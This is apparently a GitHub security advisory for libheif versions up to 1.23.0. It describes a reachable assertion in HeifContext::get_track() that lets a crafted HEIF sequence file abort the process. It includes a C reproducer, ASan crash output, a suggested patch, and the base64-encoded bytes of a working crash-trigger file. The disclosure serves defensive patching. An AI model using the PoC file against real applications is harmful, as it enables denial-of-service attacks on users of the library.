Skip to content

Reachable assertion in HeifContext::get_track() aborts on a valid-but-empty HEIF sequence file (context.cc:2110)

Moderate
farindk published GHSA-9ww4-9v47-m7pj Jun 26, 2026

Package

libheif

Affected versions

<= 1.23.0

Patched versions

v1.23.1

Description

Note:
Accepted by maintainers and fixed in #1844.
Requested via advisory to request CVE.

Summary

heif_context_read_from_memory() accepts a crafted HEIF file (ftyp major
brand msf1, with a moov/trak structure that parses but yields no usable
track) without returning an error, yet the resulting context registers
zero sequence tracks. Calling the public API heif_context_get_track(ctx, 0)
on that context routes into HeifContext::get_track()
(libheif/context.cc:2110), where assert(has_sequence()) fails and the
process aborts with SIGABRT.

The public heif_context_get_track() wrapper is explicitly written to return
nullptr on failure, and the public header documents no precondition that the
file must contain a sequence. A documented public entry point therefore aborts
the entire process on attacker-controlled input — a denial-of-service /
API-robustness defect. There is no memory corruption, so severity is low.

  • Project / version: libheif v1.23.0 (commit 3021ff4efd897f9d66fd6287dad33e138de27dd4)
  • Affected API: heif_context_get_track() (and the internal HeifContext::get_track())

Root Cause

has_sequence() is defined as the non-emptiness of the internal track map
(libheif/context.h:208):

bool has_sequence() const { return !m_tracks.empty(); }

HeifContext::get_track() asserts that invariant up front, before any of its
own error handling can run (libheif/context.cc:2108):

Result<std::shared_ptr<Track>> HeifContext::get_track(uint32_t track_id)
{
  assert(has_sequence());

  if (track_id != 0) {
    auto iter = m_tracks.find(track_id);
    if (iter == m_tracks.end()) {
      return Error{heif_error_Usage_error,
                   heif_suberror_Unspecified,
                   "Invalid track id"};
    }

    return iter->second;
  }

  if (m_visual_track_id != 0) {
    return m_tracks[m_visual_track_id];
  }

  return m_tracks.begin()->second;
}

The public wrapper is designed to surface failures to the caller as nullptr
(libheif/api/libheif/heif_sequences.cc:86):

// Use id=0 for the first visual track.
heif_track* heif_context_get_track(const heif_context* ctx, uint32_t track_id)
{
  auto trackResult = ctx->context->get_track(track_id);
  if (!trackResult) {
    return nullptr;
  }

  auto* track = new heif_track;
  track->track = *trackResult;
  track->context = ctx->context;

  return track;
}

But it never gets the chance: when the file was accepted yet m_tracks is
empty, assert(has_sequence()) aborts before get_track() can return an
Error. The two failure modes are:

  • Assert-enabled builds: assert(has_sequence()) calls abort() (SIGABRT).
  • NDEBUG builds: the assert is compiled out, and the track_id == 0 path
    falls through to return m_tracks.begin()->second;, which dereferences
    begin() on an empty std::map — undefined behavior, typically a crash.

Either way, a public API call aborts/crashes on a file that the library itself
chose to accept.

PoC

A 743-byte HEIF file. Its ftyp declares the major brand msf1 (a HEIF image
sequence), and it carries a moov box with a trak whose sample tables are
malformed/empty. The combination is permissive enough that
heif_context_read_from_memory() returns heif_error_Ok, but no sequence
track is ultimately registered, so the context's track map is empty
(has_sequence() == false).

The exact bytes are provided, base64-encoded, in the final section so this
report is self-contained.

Reproduction

The crash is reachable through the documented public C API only —
heif_context_allocheif_context_read_from_memory
heif_context_get_track(ctx, 0). The following standalone program
(repro_libheif.c) reproduces it:

#include <stdio.h>
#include <stdlib.h>

#include "libheif/heif.h"
#include "libheif/heif_sequences.h"

int main(int argc, char** argv)
{
  FILE* f = fopen(argv[1], "rb");
  fseek(f, 0, SEEK_END);
  long n = ftell(f);
  fseek(f, 0, SEEK_SET);
  unsigned char* buf = (unsigned char*) malloc(n);
  fread(buf, 1, n, f);
  fclose(f);

  struct heif_context* ctx = heif_context_alloc();

  // The crafted file is ACCEPTED here (no error) yet registers zero tracks.
  struct heif_error err = heif_context_read_from_memory(ctx, buf, n, NULL);
  if (err.code != heif_error_Ok) {
    heif_context_free(ctx);
    free(buf);
    return 1;
  }

  // id == 0 = "first visual track" shortcut. Documented to return nullptr on
  // failure, but instead aborts via assert(has_sequence()).
  struct heif_track* t = heif_context_get_track(ctx, 0);

  heif_track_release(t);
  heif_context_free(ctx);
  free(buf);
  return 0;
}

Build (asserts must be enabled — build the library with CMAKE_BUILD_TYPE=Debug
or otherwise without -DNDEBUG; the reproducer was built and linked against an
ASan-instrumented static libheif):

# libheif built with: cmake -DCMAKE_BUILD_TYPE=Debug \
#   -DCMAKE_C_FLAGS="-fsanitize=address -g -O1" \
#   -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1" ...   (asserts ON, no -DNDEBUG)
clang -g -O0 -fsanitize=address \
    -I <libheif>/libheif/api -I <build-dir> \
    repro_libheif.c libheif.a libde265.a -lstdc++ -lm -lpthread -ldl \
    -o repro_libheif

./repro_libheif poc

Observed output:

read_from_memory accepted the file (code=0)
repro_libheif: .../libheif/context.cc:2110: Result<std::shared_ptr<Track>> HeifContext::get_track(uint32_t): Assertion `has_sequence()' failed.
=================================================================
==xxxx==ERROR: AddressSanitizer: ABRT on unknown address ...
    #4 abort                              stdlib/abort.c:79
    #5 __assert_fail_base                 assert/assert.c:94
    #6 __assert_fail                      assert/assert.c:103
    #7 HeifContext::get_track(unsigned int)   libheif/context.cc:2110
    #8 heif_context_get_track             libheif/api/libheif/heif_sequences.cc:88
    #9 main                               repro_libheif.c:50
SUMMARY: AddressSanitizer: ABRT in __pthread_kill_implementation

read_from_memory accepts the file, then heif_context_get_track(ctx, 0)
aborts the process at the assertion — confirming the issue is reachable with no
internal knowledge of the library, on attacker-controlled bytes.

Suggested Fix

Replace the assertion with a normal error return, so the public wrapper can
hand the caller the nullptr it already documents, instead of aborting:

--- a/libheif/context.cc
+++ b/libheif/context.cc
@@ Result<std::shared_ptr<Track>> HeifContext::get_track(uint32_t track_id)
 {
-  assert(has_sequence());
+  if (!has_sequence()) {
+    return Error{heif_error_Usage_error,
+                 heif_suberror_Unspecified,
+                 "File contains no sequence tracks"};
+  }

This also removes the NDEBUG empty-map dereference on the track_id == 0
path (return m_tracks.begin()->second;), since the function now bails out
before reaching it.

PoC bytes (self-contained)

AAAAHGZ0eXBtc2YxAAAAAG1zZjFhdmlzYXYwMQAAAkdtb292AAAAbG12aGQAAAAAAAAAAAAAAAAA
AAPoAAAD6AABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAA
AAAAAAAAAC8AAAAAAAAAAAAAAAAAAAAAAAAA6AAAAAAAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRk
aW5mAAAAHGRycmVmcwAAAAAAAQAAAAx1cmwgAAAAAQAAANpzdGJsAAAAcnN0c2QAAAAAAAAAAQAA
AGJhdjAxAAAAAAAAAAEAAAAAAAAAAAAAAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxk
cnJlZnMAAAAAAAEAAAAMdXJsIAAAAAEAAADac3RibAAAAHJzdHNkAAAAAAAAAAEAAABiYXYwMQAA
AAAAAAABAAAAAAAAAAAAAAAAAAAAAABAAEAASAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAABuYzFzev////////8GAAAAAAAAAAAAAAABAAAACAAA
ABRzdGNvAAAAAAAAAAEAAAAAAAAAEG1kYXQAAAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAAAAAAAAAAEAAAABAAAAAQAAAAEAAAAYc3RodmMxc3r/
////////BgAAAAAAAAAAAAAAAQAAAAgAAAAUc3RjbwAAAAAAAAABAAAAAAAAABBtZGF0AAAAAAAA
AAA=

Reconstruct the PoC file with:

base64 -d > poc <<'EOF'
AAAAHGZ0eXBtc2YxAAAAAG1zZjFhdmlzYXYwMQAAAkdtb292AAAAbG12aGQAAAAAAAAAAAAAAAAA
AAPoAAAD6AABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAA
AAAAAAAAAC8AAAAAAAAAAAAAAAAAAAAAAAAA6AAAAAAAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRk
aW5mAAAAHGRycmVmcwAAAAAAAQAAAAx1cmwgAAAAAQAAANpzdGJsAAAAcnN0c2QAAAAAAAAAAQAA
AGJhdjAxAAAAAAAAAAEAAAAAAAAAAAAAAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxk
cnJlZnMAAAAAAAEAAAAMdXJsIAAAAAEAAADac3RibAAAAHJzdHNkAAAAAAAAAAEAAABiYXYwMQAA
AAAAAAABAAAAAAAAAAAAAAAAAAAAAABAAEAASAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAABuYzFzev////////8GAAAAAAAAAAAAAAABAAAACAAA
ABRzdGNvAAAAAAAAAAEAAAAAAAAAEG1kYXQAAAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAAAAAAAAAAEAAAABAAAAAQAAAAEAAAAYc3RodmMxc3r/
////////BgAAAAAAAAAAAAAAAQAAAAgAAAAUc3RjbwAAAAAAAAABAAAAAAAAABBtZGF0AAAAAAAA
AAA=
EOF

Credit

Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-62377

Weaknesses

Reachable Assertion

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. Learn more on MITRE.

Use of Uninitialized Resource

The product uses or accesses a resource that has not been initialized. Learn more on MITRE.

Credits